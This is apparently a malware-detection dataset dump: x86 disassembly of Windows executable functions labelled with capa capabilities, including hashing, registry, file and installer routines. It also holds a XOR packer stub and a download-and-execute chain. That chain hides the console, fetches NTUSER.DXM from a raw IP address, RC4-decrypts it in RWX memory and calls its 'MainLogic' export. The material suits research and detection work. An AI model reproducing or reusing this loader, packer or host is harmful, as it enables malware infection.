joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10051f60
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005c5ad
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1007700c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.10051e00
cmp byte [ebp - 0x84], 0
jne 0x100520b1
xor edx, edx
lea ecx, [ebp - 0x3f]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x18], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x17], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x16], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x15], al
add edx, 4
cmp edx, 8
jb 0x10051ff5
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x100776e0
call fcn.10051e00
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.10051e00
xor edx, edx
lea ecx, [ebp - 0x37]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x28], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x27], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x26], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x25], al
add edx, 4
cmp edx, 0x10
jb 0x10052064
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.10051eb0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x100520f3
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100520e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100520e9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.10052af0
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100521c9
mov esp, ebp
pop ebp
ret
Function at 0x4063c3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x4063e7
xor eax, eax
test eax, eax
je 0x4063f9
cmp byte [ebp + eax - 0x121], 0x5c
je 0x4063f9
xor ecx, ecx
jmp 0x4063fc
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x4064e8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4232c4], 0
push esi
jne 0x40651f
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4064f9
mov dword [ecx*4 + 0x4232c0], eax
inc ecx
cmp ecx, 0x100
jl 0x4064f4
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406550
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4232c0]
xor eax, esi
inc ecx
dec edx
jne 0x406532
pop edi
not eax
pop esi
ret 0xc

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x40149d
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [0x472eb0]
or eax, 8
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x401532
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x4014ef
cmp dword [ebp + 0x10], ebx
jne 0x401526
push ebx
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 4]
call fcn.0040149d
test eax, eax
jne 0x401501
push edi
lea eax, [ebp - 0x210]
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x4014d6
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.004062c9
cmp eax, ebx
je 0x401539
push ebx
push dword [0x472eb0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x401532
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x472eb0], ebx
jne 0x40152f
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x40152f
jmp 0x401532
Function at 0x40334b
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x40336b
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
mov ebx, edi
test edi, edi
jne 0x40337a
mov ebx, 0x423150
mov eax, dword [ebp + 8]
test eax, eax
js 0x40338f
mov ecx, dword [0x472e18]
add ecx, eax
push ecx
call fcn.00403334
push 4
lea eax, [ebp + 0x14]
push eax
call fcn.00403302
test eax, eax
jne 0x4033a6
push 0xfffffffffffffffd
pop eax
jmp 0x403505
test dword [ebp + 0x14], 0x80000000
je 0x4034e4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x433158
mov dword [ebp - 0xc], eax
call fcn.00407214
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x403502
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x4033e6
mov esi, dword [ebp + 0x14]
push esi
mov edi, 0x41f150
push edi
call fcn.00403302
test eax, eax
je 0x40339e
sub dword [ebp + 0x14], esi
mov dword [0x433170], edi
mov dword [0x433174], esi
mov eax, dword [ebp - 8]
mov ecx, 0x433158
mov dword [0x433178], ebx
mov dword [0x43317c], eax
call fcn.00407234
mov dword [ebp - 0x10], eax
test eax, eax
js 0x4034d6
mov esi, dword [0x433178]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x472eb4], 1
mov edi, eax
je 0x40348a
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x403451
cmp dword [ebp + 0x14], 0
jne 0x40348a
push dword [ebp + 8]
mov eax, dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x94]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x94]
push eax
push 0
call fcn.00404f3e
mov dword [ebp - 0xc], edi
xor eax, eax
cmp esi, eax
je 0x4034cb
cmp dword [ebp + 0x10], eax
jne 0x4034b3
push eax
lea eax, [ebp - 0x14]
push eax
push esi
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4034dd
cmp dword [ebp - 0x14], esi
jne 0x4034dd
add dword [ebp - 4], esi
jmp 0x4034bf
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov ebx, dword [0x433178]
cmp dword [ebp - 0x10], 1
jne 0x403405
jmp 0x403502
cmp dword [ebp + 0x14], eax
jg 0x4033d9
jmp 0x403502
push 0xfffffffffffffffc
jmp 0x4033a0
push 0xfffffffffffffffe
jmp 0x4033a0
test edi, edi
je 0x40354b
cmp dword [ebp + 0x14], esi
jge 0x4034f0
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.00403302
test eax, eax
je 0x40339e
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x403517
mov esi, dword [ebp + 0x14]
push esi
mov edi, 0x41f150
push edi
call fcn.00403302
test eax, eax
je 0x40339e
push 0
lea eax, [ebp + 0x10]
push eax
push esi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4034dd
cmp esi, dword [ebp + 0x10]
jne 0x4034dd
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x40350c
jmp 0x403502
Function at 0x405c0b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0x457278
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
mov dword [0x457278], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405c46
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405dfc
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x405e19
and eax, 0xfffffffe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
ret 4

Function at 0x405e1c
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea ecx, [eax + 1]
push 0
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x405e4b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40961c]
mov dword [ebp - 8], eax
mov eax, dword [0x409620]
dec edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x405e9b
test edi, edi
jne 0x405e58
mov word [esi], ax
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x405e95

Function at 0x405e9f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
xor eax, eax
mov word [esi], ax
lea eax, [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405f18
lea eax, [ebp + 0xc]
push eax
push esi
lea eax, [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
mov dword [ebp + 0xc], 0x4008
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x405f01
cmp dword [ebp + 0x14], 1
je 0x405f06
cmp dword [ebp + 0x14], 2
je 0x405f06
xor eax, eax
mov word [esi], ax
push dword [ebp + 0x18]
xor eax, eax
mov word [esi + 0x4006], ax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
ret 0x14
Function at 0x4060b4
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x4060dd
mov eax, dword [0x40b058]
cmp eax, 0xffffffff
je 0x4060d1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40b058], 0xffffffff
jmp 0x406188
cmp dword [0x461520], ebx
je 0x406188
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
cmp word [0x46a560], bx
je 0x406154
cmp dword [0x40b058], 0xffffffff
jne 0x40615d
mov esi, 0x46a560
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 4
push 0x40000000
push esi
mov dword [ebp + 8], eax
call fcn.00405e1c
mov dword [0x40b058], eax
cmp eax, 0xffffffff
je 0x406186
cmp dword [ebp + 8], 0xffffffff
jne 0x406149
push ebx
lea ecx, [ebp - 4]
push ecx
push 2
lea ecx, [ebp + 8]
push ecx
push eax
mov dword [ebp + 8], 0xfeff
call edi
mov eax, dword [0x40b058]
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40b058], 0xffffffff
je 0x406186
push 0x409638
mov esi, 0x461540
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea ecx, [ebp + 8]
push ecx
add eax, eax
push eax
push esi
push dword [0x40b058]
call edi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40674b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x4572c0
push esi
call fcn.00405fd5
push esi
call fcn.00405d25
mov edi, eax
test edi, edi
jne 0x40676c
xor eax, eax
jmp 0x4067c9
push edi
call fcn.00406005
test byte [0x472e28], 0x80
je 0x406788
movzx eax, word [edi]
test ax, ax
je 0x406768
cmp eax, 0x5c
je 0x406768
sub edi, esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
sar edi, 1
jmp 0x4067aa
push esi
call fcn.004062a2
test eax, eax
je 0x4067a4
test byte [eax], 0x10
je 0x4067ce
push esi
call fcn.0040671e
push esi
call ebx
cmp eax, edi
jg 0x406795
push esi
call fcn.004066ef
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebx
pop edi
pop esi
ret 4
xor eax, eax
jmp 0x4067c8
Function at 0x406a66
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0x409848
mov ebx, 0x45b2c8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [esp + 0x1c]
xor ebp, ebp
mov esi, 0x400
cmp edi, ebp
je 0x406ab4
push 1
push ebp
push edi
call fcn.00405e1c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
cmp eax, ebp
je 0x406c2f
cmp eax, esi
jg 0x406c2f
push esi
mov edi, 0x460920
push edi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
cmp eax, ebp
je 0x406c2f
cmp eax, esi
jg 0x406c2f
push ebp
push ebp
push esi
push 0x45bac8
push 0xffffffffffffffff
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebp
push ebp
call ebx
test eax, eax
je 0x406c2f
push ebp
push ebp
push esi
mov esi, 0x45c118
push esi
push 0xffffffffffffffff
push edi
push ebp
push ebp
call ebx
test eax, eax
je 0x406c2f
push esi
push 0x45bac8
push str._s_s_r_n
push 0x45c518
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x472ddc]
push dword [eax + 0x128]
push edi
call fcn.004067d2
push 4
push 0xc0000000
push edi
call fcn.00405e1c
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
je 0x406c2f
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
cmp esi, ebp
je 0x406c25
push ebp
lea eax, [esp + 0x14]
push eax
push edi
push esi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x406c25
cmp edi, dword [esp + 0x10]
jne 0x406c25
push str._Rename__r_n
push esi
call fcn.00405d82
cmp eax, ebp
jne 0x406bb8
push str._Rename__r_n
lea eax, [esi + edi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x406bed
push 0x40983c
add eax, 0xa
push eax
call fcn.00405d82
mov ebp, eax
test ebp, ebp
je 0x406beb
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
cmp ecx, ebp
jbe 0x406be2
sub eax, ecx
mov dl, byte [ecx]
mov byte [eax + ecx], dl
dec ecx
cmp ecx, ebp
ja 0x406bd8
sub ebp, esi
lea eax, [ebp + 1]
xor ebp, ebp
jmp 0x406bef
xor ebp, ebp
mov eax, edi
push ebx
push 0x45c518
add eax, esi
push eax
call fcn.00405dd8
push ebp
push ebp
push ebp
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebp
lea eax, [esp + 0x14]
push eax
add edi, ebx
push edi
push esi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4071a3
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461124], 0
jne 0x4071e1
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4071b7
mov dword [ecx*4 + 0x461120], eax
inc ecx
cmp ecx, 0x100
jl 0x4071b2
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x40720e
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461120]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4071ef
not eax
pop ebp
ret 0xc
Function at 0x417e9e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
test edx, edx
je 0x417ebd
push edi
mov edi, dword [ebp + 8]
mov eax, esi
and eax, 0xf
mov al, byte [eax + edi]
xor byte [esi + ecx], al
inc esi
cmp esi, edx
jb 0x417eac
pop edi
pop esi
pop ebp
ret

Function at 0x417ec0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x44a3c0]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
push esi
push edi
mov eax, edx
mov dword [esp + 0x14], ecx
mov edx, dword [ebp + 8]
push ecx
push dword [ebp + 0x10]
mov dword [esp + 0x14], edx
mov edx, eax
mov dword [esp + 0x18], eax
call fcn.00417e9e
add esp, 8
xor esi, esi
mov dword [esp + 0x118], esi
mov eax, esi
mov dword [esp + 0x11c], esi
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x417f0e
mov ebx, esi
mov edi, esi
mov esi, dword [esp + 0xc]
mov dl, byte [esp + edi + 0x18]
mov eax, edi
and eax, 0xf
movzx ecx, dl
movzx eax, byte [eax + esi]
add eax, ebx
add ecx, eax
movzx ebx, cl
mov al, byte [esp + ebx + 0x18]
mov byte [esp + edi + 0x18], al
inc edi
mov byte [esp + ebx + 0x18], dl
cmp edi, 0x100
jb 0x417f22
mov edi, dword [esp + 0x10]
xor esi, esi
mov ebx, esi
test edi, edi
je 0x417fb8
mov edx, dword [esp + 0x11c]
lea eax, [esi + 1]
movzx esi, al
mov dword [esp + 0x118], esi
movzx eax, byte [esp + esi + 0x18]
add eax, edx
movzx edx, al
mov dword [esp + 0x11c], edx
mov cl, byte [esp + esi + 0x18]
mov al, byte [esp + edx + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edx + 0x18], cl
mov edx, dword [esp + 0x11c]
mov esi, dword [esp + 0x118]
mov ecx, dword [esp + 0x14]
mov al, byte [esp + edx + 0x18]
add al, byte [esp + esi + 0x18]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jb 0x417f61
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041c6c0
mov esp, ebp
pop ebp
ret
Function at 0x417fcd
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
push 0x34
mov eax, 0x43a105
call fcn.0041cc3b
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push 0x443ca8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 4], edi
test esi, esi
jne 0x418009
mov edx, 0x443ce0
jmp 0x41801c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
test ebx, ebx
jne 0x418034
mov edx, 0x443cf0
mov ecx, 0x44b578
call fcn.0041837e
push eax
call fcn.00418560
pop ecx
mov ebx, edi
jmp 0x41812c
push 0x40
push 0x1000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 0x34], edi
mov byte [ebp - 4], 1
test edi, edi
jne 0x41805a
mov edx, 0x443d00
jmp 0x418107
push 0
lea eax, [ebp - 0x3c]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x418077
mov edx, 0x443d10
jmp 0x418107
push ecx
lea eax, [ebp - 0x20]
mov dword [ebp - 0x30], 0x14537221
push eax
push ecx
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], 0xb8a79685
push eax
mov edx, ebx
mov dword [ebp - 0x28], 0xfcebdac9
mov ecx, edi
mov dword [ebp - 0x24], 0x302f1e0d
mov dword [ebp - 0x20], 0xd3274b9f
mov dword [ebp - 0x1c], 0x2acd8e51
mov dword [ebp - 0x18], 0x56a13cbf
mov dword [ebp - 0x14], 0x3d9a78e4
call fcn.00417ec0
add esp, 0x10
push edi
call fcn.0040e850
mov ebx, eax
mov dword [ebp - 0x40], ebx
test ebx, ebx
jne 0x4180db
mov edx, 0x443d20
jmp 0x418107
call fcn.00418592
push eax
call fcn.00418774
mov dword [esp], str._MainLogic_0
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x41811e
push dword [ebp - 0x40]
call fcn.00402ca0
mov edx, 0x443d54
mov ecx, 0x44b578
call fcn.0041837e
push eax
call fcn.00418560
xor ebx, ebx
pop ecx
test edi, edi
je 0x41812c
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
je 0x41813c
cmp esi, 0xffffffff
je 0x41813c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
call fcn.0041cbea
ret
Function at 0x418ef3
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.0041d620
mov eax, dword [0x44a3c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x10], ebx
je 0x419006
cmp dword [edx + 0x10], ebx
je 0x419006
cmp dword [edx + 0x14], 7
mov dword [ebp - 0x1014], ebx
jbe 0x418f30
mov edx, dword [edx]
push esi
lea eax, [ebp - 0x1014]
push eax
push ebx
push 1
push 0x80
push 0x1001
push edx
call dword [sym.imp.SHLWAPI.dll_SHCreateStreamOnFileEx]
mov esi, eax
test esi, esi
js 0x419001
cmp dword [edi + 0x14], 7
mov dword [ebp - 0x1010], ebx
jbe 0x418f64
mov edi, dword [edi]
push ebx
push ebx
lea eax, [ebp - 0x1010]
push eax
push edi
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
mov esi, eax
test esi, esi
js 0x418ff5
mov edi, 0x80004005
mov ebx, 0x1000
mov esi, edi
jmp 0x418fc6
cmp dword [ebp - 0x1008], 0
jbe 0x418fe9
mov eax, dword [ebp - 0x1014]
lea edx, [ebp - 0x100c]
push edx
push dword [ebp - 0x1008]
lea edx, [ebp - 0x1004]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x10]
mov esi, eax
test esi, esi
js 0x418fe7
mov eax, dword [ebp - 0x1008]
cmp eax, dword [ebp - 0x100c]
jne 0x418fe7
mov eax, dword [ebp - 0x1010]
lea edx, [ebp - 0x1008]
push edx
push ebx
lea edx, [ebp - 0x1004]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x418f89
jmp 0x418fe9
mov esi, edi
mov eax, dword [ebp - 0x1010]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1014]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, esi
pop esi
jmp 0x41900b
mov eax, 0x80070057
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0041c6c0
leave
ret

Function at 0x419019
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 7
jbe 0x419021
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
setne al
ret

Function at 0x41902f
Capabilities:
Hide graphical window

Disassembly:
push 0x34
mov eax, 0x43a2e7
call fcn.0041cc3b
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.http:__43.132.212.111_NTUSER.DXM
lea ecx, [ebp - 0x40]
call fcn.004190c4
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push str.C:Program_FilesNTUSER.DXM
call fcn.004190c4
xor ebx, ebx
lea ecx, [ebp - 0x28]
inc ebx
mov byte [ebp - 4], bl
call fcn.00419019
test al, al
jne 0x41909a
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x40]
call fcn.00418ef3
test eax, eax
jns 0x41909a
mov edx, 0x443df4
mov ecx, 0x44b638
call fcn.0041837e
jmp 0x4190a7
call fcn.00417fcd
test eax, eax
je 0x4190a5
call eax
xor ebx, ebx
lea ecx, [ebp - 0x28]
call fcn.004190f7
lea ecx, [ebp - 0x40]
call fcn.004190f7
mov eax, ebx
call fcn.0041cbea
ret